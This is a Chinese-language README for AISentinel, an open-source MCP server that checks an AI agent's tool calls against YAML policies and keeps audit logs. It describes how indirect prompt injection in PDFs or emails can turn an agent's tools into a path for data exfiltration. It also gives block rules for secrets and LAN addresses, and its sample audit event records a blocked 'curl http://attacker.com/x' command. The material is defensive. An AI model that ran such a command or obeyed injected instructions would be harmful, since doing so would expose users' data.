AISentinel by BizDNAi

AISentinel

智能体时代不可或缺的安全、控制与可观测性层。

传统安全工具是为恶意软件打造的。 AI Agent 通过工具和 API 获得了合法权限。 AISentinel 提供了不可或缺的安全、控制与可观测性层。

---

1. 项目名称和标语

AISentinel — 一款在运行时保护 AI Agent 的开源 MCP 服务。 由 Kabzhanov / BizDNAi 团队打造，该团队也是 AI Trust Index 的幕后团队。

---

2. AISentinel 的存在意义

如今，AI Agent 可以访问 shell、浏览器、文件系统和 API 密钥。它们是 合法的进程——杀毒软件无法发现它们。PDF 或电子邮件中的一次间接 提示词注入，就可能借助 Bash 和 Email_send 等普通工具，演变为大规模数据外泄。

AISentinel 填补了这一空白：它作为 MCP 服务运行在每次工具调用之前， 评估 YAML 策略，记录每项决策，并生成与 AI Trust Index 兼容的审计记录。

完整威胁模型请参阅 docs/SECURITY_AUDIT.md。

---

3. 快速开始（3 分钟）

选项 A：安装二进制文件

go install github.com/Kabzhanov/AISentinel/cmd/aisentinel@latest
aisentinel --help
aisentinel serve

go install 会为你提供一个独立二进制文件——开始使用无需克隆 此仓库，也无需传入 --policy。不带标志运行 aisentinel serve 时， 会加载内置默认策略（在构建时嵌入二进制文件），适用于一般用途：拦截 参数中显而易见的机密信息和破坏性命令，并要求对网络调用和批量读取进行审批。 若要改用自己的策略，请传入 --policy /path/to/your.yaml 或设置 $AISENTINEL_POLICY（见下文的策略解析）。

选项 B：安装 sidecar（适用于任何 MCP 服务的即插即用策略代理）

go install github.com/Kabzhanov/AISentinel/cmd/aisentinel-sidecar@latest

# Wrap any stdio MCP server with one command — no --policy required:
aisentinel-sidecar ./your-mcp-server [args...]

选项 C：克隆并构建

git clone https://github.com/Kabzhanov/AISentinel.git
cd AISentinel
go build -o bin/aisentinel ./cmd/aisentinel
go build -o bin/aisentinel-sidecar ./cmd/aisentinel-sidecar
./bin/aisentinel serve --policy policies/default.yaml

（此处的 --policy policies/default.yaml 是显式指定且可选的——省略 也可以，会回退到上文所述的同一内置默认策略。）

选项 D：从 GitHub Releases 下载预构建二进制文件

从 https://github.com/Kabzhanov/AISentinel/releases/latest 下载。 支持 linux/amd64、linux/arm64、darwin/amd64、darwin/arm64、 windows/amd64。

选项 E：添加到 Claude Code / Cursor / Cline

{
  "mcpServers": {
    "aisentinel": {
      "command": "aisentinel",
      "args": ["serve"]
    },
    "aisentinel-sidecar": {
      "command": "aisentinel-sidecar",
      "args": ["--policy", "/absolute/path/to/policies/strict.yaml", "/path/to/your-mcp-server"]
    }
  }
}

然后重启 MCP 客户端，并让你的 Agent 调用任意工具—— AISentinel 将对每次调用进行把关，并将 JSONL 审计记录写入 ~/.aisentinel/events-YYYY-MM-DD.jsonl。

策略解析

aisentinel serve 和 aisentinel-sidecar 都按以下顺序解析要加载的策略， 命中第一个适用项后即停止：

1. --policy /path/to/file.yaml — 如果提供，则必须成功加载；文件不存在或无效 都会导致硬错误。
2. $AISENTINEL_POLICY — 如果已设置，其规则与 --policy 相同。
3. 当前目录下的 ./policies/default.yaml，如果该文件存在（克隆此仓库后 即可使用）。
4. 内置默认策略，在编译时嵌入二进制文件。 因此，go install ... && aisentinel serve 无需检出仓库或指定标志， 即可在任意目录运行。使用此方式时，二进制文件会向 stderr 输出 using built-in default policy，避免用户毫无察觉。

---

4. 主要功能

• 工具调用前置门控 — 根据 YAML 策略评估每次工具调用 （allow / block / require_human_approval / log_only）。
• 审计日志 — 仅追加的 JSONL，采用标准化事件架构。
• Validate-policy — 无需加载策略即可对 YAML 策略进行检查。
• 内置策略 — default、strict、audit-only（参见 policies/）。
• 原生支持 MCP — 可在 Claude Code、Claude Desktop、Cursor、Cline、Continue 中使用。
• 零遥测 — 在本地运行；不会向外发送数据。
• Apache 2.0 — 宽松的开源许可，并包含专利授权。

---

5. 连接器

• MCP stdio — aisentinel serve（Claude Code、Claude Desktop、Cursor、Cline、Continue）。
• Streamable-HTTP — https://mcp.aisentinel.bizdnai.com/mcp（SaaS，通过 BizDNAi 使用 OAuth）。
• CLI — aisentinel 子命令（serve、validate-policy、policies、events、version）。
• 库 — Go 包 github.com/Kabzhanov/AISentinel/internal/policy，可用于嵌入。

---

6. 策略示例

完整的默认策略请参见 policies/default.yaml。

version: 1
name: default
rules:
  - id: secret-in-args
    match: { tool_args_regex: "(?i)(api[_-]?key|secret|token|password|passwd)" }
    decision: block
    reason: "Possible secret in arguments"
  - id: lan-deny
    match: { tool_name: "Bash", tool_args_regex: "10\\.|192\\.168\\.|172\\.(1[6-9]|2\\d|3[01])\\." }
    decision: block
    reason: "LAN access blocked by default"

匹配模式：tool_name、tool_name_regex、tool_args_regex、tool_args_contains。多个匹配器按 AND 组合。

---

7. 如何提升 AI Trust Index 评分

AISentinel 会生成 AI Trust Index 评估所需的可观测性数据：

• 每次工具调用 → 可审计事件，包含 agent_id、session_id、decision、signals。
• 每项策略决策 → 已版本化并生成指纹（policy_signature 字段）。
• 每次拦截 → 包含原因、risk_signals，可用于提交 ATI。

运行 aisentinel_get_ati_snapshot，即可获取可直接粘贴到 AI Trust Index 控制台 的 JSON 数据。

---

8. 许可

AISentinel 提供两种许可选项：

1. Apache License 2.0（开源）

   • 根据 Apache 2.0 许可条款，可免费使用、修改和分发。
   • 贡献者明确授予专利许可。

2. 商业许可

   • 适用于希望将 AISentinel 嵌入闭源产品、且无需满足开源合规要求的公司。
   • 联系方式：[email protected]

向此代码仓库贡献内容，即表示你同意根据 Apache 2.0 许可你的贡献。

请参见 LICENSE 和 COMMERCIAL_LICENSE.md。

---

9. 安装

要求：Go 1.22+

go install github.com/Kabzhanov/AISentinel/cmd/aisentinel@latest

验证：

aisentinel version
# AISentinel v1.0.6 — by Kabzhanov / BizDNAi / AI Trust Index
#
# `go install ...@latest` builds from a tagged release and embeds that
# tag's version via -ldflags. A plain local `go build` (no -ldflags) prints
# "vdev" instead — that's expected, not a bug.

---

10. 使用示例

运行 MCP 服务

# Uses the built-in default policy — no --policy needed:
aisentinel serve

# Or point at your own policy:
aisentinel serve --policy policies/strict.yaml

验证自定义策略

aisentinel validate-policy my-policy.yaml

持续查看最近的审计事件

aisentinel events --last 20

列出内置策略

aisentinel policies

在不拦截的情况下测试策略（影子模式）

AISENTINEL_DRY_RUN=1 aisentinel serve --policy policies/default.yaml

---

11. 事件架构

请参见 docs/event-schema.md。JSONL 日志中每行包含一个 JSON 对象：

{
  "event_id": "20260707T221500.000000001-1",
  "timestamp": "2026-07-07T22:15:00Z",
  "event_type": "pre_tool",
  "agent_id": "agent-42",
  "session_id": "sess-abc",
  "tool_name": "Bash",
  "tool_args": { "command": "curl http://attacker.com/x" },
  "decision": "block",
  "policy_matched": ["bash-network"],
  "risk_signals": ["rule_matched:bash-network"]
}

---

12. 参与贡献

请参见 CONTRIBUTING.md。参与贡献即表示你同意根据 Apache 2.0 许可你的贡献。

---

13. 路线图

• v1.0（当前版本）— MCP stdio、4 个工具、3 个内置策略、JSONL 审计日志。
• v1.1 — aisentinel scan（MCP 配置审计工具）、移动端连接器。
• v1.2 — streamable-HTTP 传输（SaaS 模式），通过 BizDNAi 使用 OAuth。
• v2.0 — ATI-feed 集成、IDE 插件（VSCode MCP Inspector）。

---

14. 许可证

Apache License 2.0。请参见 LICENSE。

AISentinel 采用 Apache 2.0 和商业许可双重授权。 有关商业条款，请联系 [email protected]。

---

由 Kabzhanov / BizDNAi 创建 — AI Trust Index 的创作者。